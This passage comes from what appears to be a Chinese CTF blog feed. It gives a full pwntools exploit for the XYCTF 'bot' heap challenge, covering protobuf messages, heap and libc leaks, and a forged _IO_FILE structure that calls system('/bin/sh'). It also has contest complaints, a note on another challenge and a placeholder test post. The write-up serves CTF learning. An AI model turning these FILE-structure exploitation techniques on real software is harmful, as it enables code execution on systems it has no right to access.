<span class="line">&#125;,filler=<span class="string">b&#x27;\x00&#x27;</span>)</span>
<span class="line"></span>
<span class="line">free(<span class="number">7</span>)</span>
<span class="line">add(<span class="number">0x528</span>,pay)</span>
<span class="line"></span>
<span class="line">p.interactive()</span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="bot"><a href="https://imi-imiab.com/posts/cnblogs-18815248/#bot" class="headerlink" title="bot"></a>bot</h1><p>protobuf逆出来以后是这样的：</p>
<figure class="highlight protobuf"><table><tr><td class="code"><pre><span class="line">syntax = <span class="string">&quot;proto2&quot;</span>;</span>
<span class="line"></span>
<span class="line"><span class="keyword">message </span><span class="title class_">Message_request</span> &#123;</span>
<span class="line">    <span class="keyword">required</span> <span class="type">int32</span> id = <span class="number">1</span>;</span>
<span class="line">    <span class="keyword">required</span> <span class="type">string</span> sender = <span class="number">2</span>;</span>
<span class="line">    <span class="keyword">required</span> <span class="type">uint32</span> len = <span class="number">3</span>;</span>
<span class="line">    <span class="keyword">required</span> <span class="type">bytes</span> content = <span class="number">4</span>; </span>
<span class="line">    <span class="keyword">required</span> <span class="type">int32</span> actionid = <span class="number">5</span>;</span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<p>我以为actionid 1 是add，仔细检查发现是edit</p>
<p>呃，白给的任意读写，感觉随便打了</p>
<p>里面实现了一个类似影子栈的东西，但是感觉非常奇怪。</p>
<p>怎么会有人把内存管理和影子栈这两种功能写到一个结构体里的（）</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line"><span class="keyword">import</span> device_pb2</span>
<span class="line">filename=<span class="string">&#x27;./bot&#x27;</span></span>
<span class="line">libc=<span class="string">&#x27;./libc.so.6&#x27;</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=process(filename)</span>
<span class="line">e=ELF(filename)</span>
<span class="line">libc=ELF(libc)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line">gdb.attach(p,<span class="string">&quot;b _IO_flush_all_lockp\ngo&quot;</span>)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">action1</span>(<span class="params">idx,con,<span class="built_in">len</span></span>):</span>
<span class="line">    msg=device_pb2.Message_request()</span>
<span class="line">    msg.<span class="built_in">id</span>=idx</span>
<span class="line">    msg.sender=<span class="string">&quot;admin&quot;</span></span>
<span class="line">    msg.<span class="built_in">len</span>=<span class="built_in">len</span></span>
<span class="line">    msg.content=con</span>
<span class="line">    msg.actionid=<span class="number">1</span></span>
<span class="line">    p.sendafter(<span class="string">&quot;TESTTESTTEST!&quot;</span>,msg.SerializeToString())</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">action2</span>(<span class="params">idx</span>):</span>
<span class="line">    msg=device_pb2.Message_request()</span>
<span class="line">    msg.<span class="built_in">id</span>=idx</span>
<span class="line">    msg.sender=<span class="string">&quot;admin&quot;</span></span>
<span class="line">    msg.actionid=<span class="number">2</span></span>
<span class="line">    msg.<span class="built_in">len</span>=<span class="number">100</span></span>
<span class="line">    msg.content=<span class="string">b&#x27;a&#x27;</span></span>
<span class="line">    p.sendafter(<span class="string">&quot;TESTTESTTEST!&quot;</span>,msg.SerializeToString())</span>
<span class="line"><span class="keyword">def</span> <span class="title function_">action3</span>():</span>
<span class="line">    msg=device_pb2.Message_request()</span>
<span class="line">    msg.<span class="built_in">id</span>=<span class="number">0</span></span>
<span class="line">    msg.sender=<span class="string">&quot;admin&quot;</span></span>
<span class="line">    msg.actionid=<span class="number">3</span></span>
<span class="line">    msg.<span class="built_in">len</span>=<span class="number">100</span></span>
<span class="line">    msg.content=<span class="string">b&#x27;a&#x27;</span></span>
<span class="line">    p.sendafter(<span class="string">&quot;TESTTESTTEST!&quot;</span>,msg.SerializeToString())</span>
<span class="line"></span>
<span class="line">action1(<span class="number">0</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x18</span>,<span class="number">0x18</span>)</span>
<span class="line">action2(<span class="number">2</span>)</span>
<span class="line">p.recvuntil(<span class="string">&quot;BOT MSG\n&quot;</span>)</span>
<span class="line">haddr=u64(p.recv(<span class="number">5</span>)+<span class="string">b&#x27;\x00\x00\x00&#x27;</span>)*<span class="number">0x1000</span></span>
<span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(haddr))</span>
<span class="line">action1(<span class="number">0</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x18</span>+p64(<span class="number">0x21</span>)+p64(haddr+<span class="number">0x500</span>)+p64(haddr+<span class="number">0x2A0</span>),<span class="number">0x30</span>)</span>
<span class="line">action2(<span class="number">1</span>)</span>
<span class="line">p.recvuntil(<span class="string">&quot;BOT MSG\n&quot;</span>)</span>
<span class="line">libcbase=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)-<span class="number">0x29D90</span></span>
<span class="line"></span>
<span class="line">action1(<span class="number">0</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x18</span>+p64(<span class="number">0x21</span>)+p64(libcbase+<span class="number">0x29d90</span>)+p64(libcbase+libc.sym[<span class="string">&#x27;_IO_list_all&#x27;</span>]),<span class="number">0x30</span>)</span>
<span class="line">action1(<span class="number">1</span>,p64(haddr+<span class="number">0x5000</span>),<span class="number">8</span>)</span>
<span class="line"></span>
<span class="line">action1(<span class="number">0</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x18</span>+p64(<span class="number">0x21</span>)+p64(libcbase+<span class="number">0x29d90</span>)+p64(haddr+<span class="number">0x5000</span>),<span class="number">0x30</span>)</span>
<span class="line"></span>
<span class="line">haddr=haddr+<span class="number">0x5000</span></span>
<span class="line">fake_io=haddr</span>
<span class="line">IO_wfile_jumps=libcbase+libc.sym[<span class="string">&#x27;_IO_wfile_jumps&#x27;</span>]</span>
<span class="line">setcontext_61=libcbase+libc.sym[<span class="string">&#x27;setcontext&#x27;</span>]+<span class="number">61</span></span>
<span class="line">rdi=libcbase+<span class="number">0x000000000010f75b</span></span>
<span class="line">rax=libcbase+<span class="number">0x00000000000dd237</span></span>
<span class="line">rsi=libcbase+<span class="number">0x0000000000110a4d</span></span>
<span class="line">sys_ret=libcbase+<span class="number">0x000000000098FC5</span></span>
<span class="line">ret=libcbase+<span class="number">0x000000000010f75b</span>+<span class="number">1</span></span>
<span class="line">binsh=libcbase+libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).__next__()</span>
<span class="line">saddr=libcbase+libc.sym[<span class="string">&#x27;system&#x27;</span>]</span>
<span class="line">Rop=p64(rdi)+p64(binsh)+p64(saddr)</span>
<span class="line">orw=p64(setcontext_61)+p64(rdi)+p64(<span class="number">0xFFFFFF9C</span>)</span>
<span class="line"><span class="comment"># 0x0    rdi             0x8   _IO_read_ptr</span></span>
<span class="line"><span class="comment"># 0x10  _IO_read_end     0x18  _IO_read_base</span></span>
<span class="line"><span class="comment"># 0x20  _IO_write_base   0x28  _IO_write_ptr</span></span>
<span class="line"><span class="comment"># 0x30  _IO_write_end    0x38  _IO_buf_base</span></span>
<span class="line"><span class="comment"># 0x40  _IO_buf_end      0x48  _IO_save_base</span></span>
<span class="line"><span class="comment"># 0x50  _IO_backup_base  0x58  _IO_save_end</span></span>
<span class="line"><span class="comment"># 0x60  _markers         0x68  _chain</span></span>
<span class="line"><span class="comment"># 0x70  _fileno          0x74  _flags2</span></span>
<span class="line"><span class="comment"># 0x78  _old_offset      0x80  _cur_column</span></span>
<span class="line"><span class="comment"># 0x82  _vtable_offset   0x83  _shortbuf</span></span>
<span class="line"><span class="comment"># 0x88  _lock            0x90  _offset</span></span>
<span class="line"><span class="comment"># 0x98  _codecvt         0xa0  _wide_data</span></span>
<span class="line"><span class="comment"># 0xa8  _freeres_list    0xb0  _freeres_buf</span></span>
<span class="line"><span class="comment"># 0xb8  __pad5           0xc0  _mode</span></span>
<span class="line"><span class="comment"># 0xc4  _unused2         0xd8  vtable</span></span>
<span class="line">pay=flat(</span>
<span class="line">&#123;</span>
<span class="line"><span class="number">0x0</span>:[<span class="string">b&#x27;/bin/sh\x00&#x27;</span>],     <span class="comment"># rdi=binsh</span></span>
<span class="line"><span class="number">0x20</span>:[p64(<span class="number">0</span>)],            <span class="comment"># write_base</span></span>
<span class="line"><span class="number">0x28</span>:[p64(<span class="number">1</span>)],            <span class="comment"># write_ptr --&gt; ptr &gt; base</span></span>
<span class="line"><span class="number">0xc0</span>:[p64(<span class="number">0</span>)],            <span class="comment"># _mode &lt;= 0</span></span>
<span class="line"><span class="number">0xd8</span>:[p64(IO_wfile_jumps+<span class="number">0x30</span>)],</span>
<span class="line"></span>
<span class="line"><span class="number">0x88</span>:[p64(fake_io+<span class="number">0x88</span>),p64(<span class="number">1</span>)],   <span class="comment"># bypass lock</span></span>
<span class="line"></span>
<span class="line"><span class="number">0xA0</span>:[p64(fake_io+<span class="number">0xA8</span>),p64(<span class="number">0</span>),p64(<span class="number">0</span>)],</span>
<span class="line">(<span class="number">0xA0</span>+<span class="number">0x20</span>):[p64(<span class="number">1</span>)],</span>
<span class="line">(<span class="number">0xA0</span>+<span class="number">0x28</span>):[p64(<span class="number">2</span>)],            <span class="comment"># bypass check in wfile_seekoff</span></span>
<span class="line">(<span class="number">0xB0</span>+<span class="number">0xd8</span>):[p64(fake_io+<span class="number">0xB0</span>+<span class="number">0xd8</span>)], <span class="comment"># fake wfile vtable</span></span>
<span class="line">(<span class="number">0xB0</span>+<span class="number">0xd8</span>+<span class="number">0x18</span>):[p64(saddr)],   <span class="comment"># call entry</span></span>
<span class="line">(<span class="number">0xB0</span>+<span class="number">0xd8</span>+<span class="number">0x18</span>+<span class="number">0x20</span>):[p64(fake_io+<span class="number">0xB0</span>+<span class="number">0xd8</span>+<span class="number">0x18</span>+<span class="number">0x28</span>)],</span>
<span class="line"><span class="comment"># (0xB0+0xd8+0x18+0x48):[p64(setcontext_61)],</span></span>
<span class="line"><span class="comment"># (0x1C8+0xA0):[p64(fake_io+0x280)],    # rsp</span></span>
<span class="line"><span class="comment"># (0x1C8+0x68):[p64(0xffffff9c)],       # rdi</span></span>
<span class="line"><span class="comment"># (0x1C8+0xA8):[p64(rax)],              # ret_addr</span></span>
<span class="line"><span class="comment"># (0x1C8+0x88):[p64(0x100)],            # rdx</span></span>
<span class="line"><span class="comment"># (0x1C8+0x70):[p64(fake_io)],          # rsi</span></span>
<span class="line"><span class="comment"># (0x280):[p64(0x101),p64(sys_ret),            # rop</span></span>
<span class="line"><span class="comment"># p64(rdi),p64(3),p64(rax),p64(0x0),p64(sys_ret),</span></span>
<span class="line"><span class="comment"># p64(rax),p64(0x1),p64(rdi),p64(0x1),p64(sys_ret),</span></span>
<span class="line"><span class="comment"># ]</span></span>
<span class="line">&#125;,filler=<span class="string">b&#x27;\x00&#x27;</span>)</span>
<span class="line">action1(<span class="number">1</span>,pay,<span class="built_in">len</span>(pay))</span>
<span class="line">action3()</span>
<span class="line"></span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="一些碎碎念"><a href="https://imi-imiab.com/posts/cnblogs-18815248/#%E4%B8%80%E4%BA%9B%E7%A2%8E%E7%A2%8E%E5%BF%B5" class="headerlink" title="一些碎碎念"></a>一些碎碎念</h1><p>第一次发博客，有点，紧张！</p>
<p>xyctf总体打下来</p>
<p><em><strong>体验似乎不是很好哦</strong></em></p>
<p>首先是ret2libc没有初始化变量，导致除ubuntu22.04以外系统打开程序都会直接崩溃。后面修了换了附件，结果貌似只修了本地setvbuf设置错的问题（我的猜测，实际上我也不知道修了什么）</p>
<p>然后是heap2拉下去，修了一整天才上来。</p>
<p>如此来看，第一天打的时候，pwn一共就4道题，结果有<strong>一半的题目是坏的</strong>，这让我对这个比赛产生了 <strong>极其严重的怀疑</strong>（我记得还有个pwn，64位程序发了32位ld，感觉出题人不是很上心呢哼哼）</p>
<p><del>而且还害我错过了阴间的一血，我的R.E.P.O呜呜呜呜</del></p>
<p>然后第二天我也不太想打，但是队长sama表示你不能不打啊，后面好多人在追呀，然后题目下下来一看</p>
<p>全是栈溢出，没绷住</p>
<p>更不想打了，从漏洞到利用，基本上看一眼就都想出来了（当然，一般来说有思路和有exp距离是很远的，但是这种一眼栈溢出，一眼栈迁移，只是调参数特别麻烦的题目……我是不太喜欢做）</p>
<p>然后xy期间还有另外一场ctf，我就去搞那个了，剩下两题摸了摸了。</p>
<p>本来这就是一场平平无奇的，pwn方向题目质量偏低的小比赛（←眼高手低大暴论），结果后来好像看到了什么不好的风言风语。但是我比较懒，就不管那么多了，呜呜还有好多东西要学，还是摸鱼ba（躺）</p>
<h1 id="girlfriend思路"><a href="https://imi-imiab.com/posts/cnblogs-18815248/#girlfriend%E6%80%9D%E8%B7%AF" class="headerlink" title="girlfriend思路"></a>girlfriend思路</h1><p>找女朋友这么麻烦，我不想找了（？）</p>
<p>选项1里面有栈溢出，选项3有非栈上格式化字符串和数组越界。选项3的数组越界可以让选项1和选项3多次调用。然后用fmt和残留参数泄露一下pie和libc，接下来就变成随便打环节了。</p>
<p>嗯，然后出题人再加了个沙箱，再没收了你的libc让你打远程泄露。虽然确实加大了难度，但是说实话……</p>
<p>（真的很没意思！！！）</p>
]]></content>
</entry>
<entry>
<title type="text">testBlog</title>
<id>https://imi-imiab.com/posts/cnblogs-18765503/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-18765503/"/>
<author><name>imiab</name></author>
<published>2025-03-11T00:53:00.000Z</published>
<updated>2025-04-08T01:41:00.000Z</updated>
<category term="Notes" scheme="https://imi-imiab.com/categories/Notes/"/>
<category term="博客" scheme="https://imi-imiab.com/tags/%E5%8D%9A%E5%AE%A2/"/>
<summary type="text">test my skin!!! test skin!!! test skin!!! test skin!!! test skin!!! test skin!!! oh skin!!!</summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-18765503/"><![CDATA[<p>test my skin!!!</p>
<h3 id="test-skin"><a href="https://imi-imiab.com/posts/cnblogs-18765503/#test-skin" class="headerlink" title="test skin!!!"></a>test skin!!!</h3><h2 id="test-skin-1"><a href="https://imi-imiab.com/posts/cnblogs-18765503/#test-skin-1" class="headerlink" title="test skin!!!"></a>test skin!!!</h2><h1 id="test-skin-2"><a href="https://imi-imiab.com/posts/cnblogs-18765503/#test-skin-2" class="headerlink" title="test skin!!!"></a>test skin!!!</h1><ul>
<li>test skin!!!<br><code>test skin!!!</code></li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">oh skin!!!</span>
</pre></td></tr></table></figure>
]]></content>
</entry>
</feed>
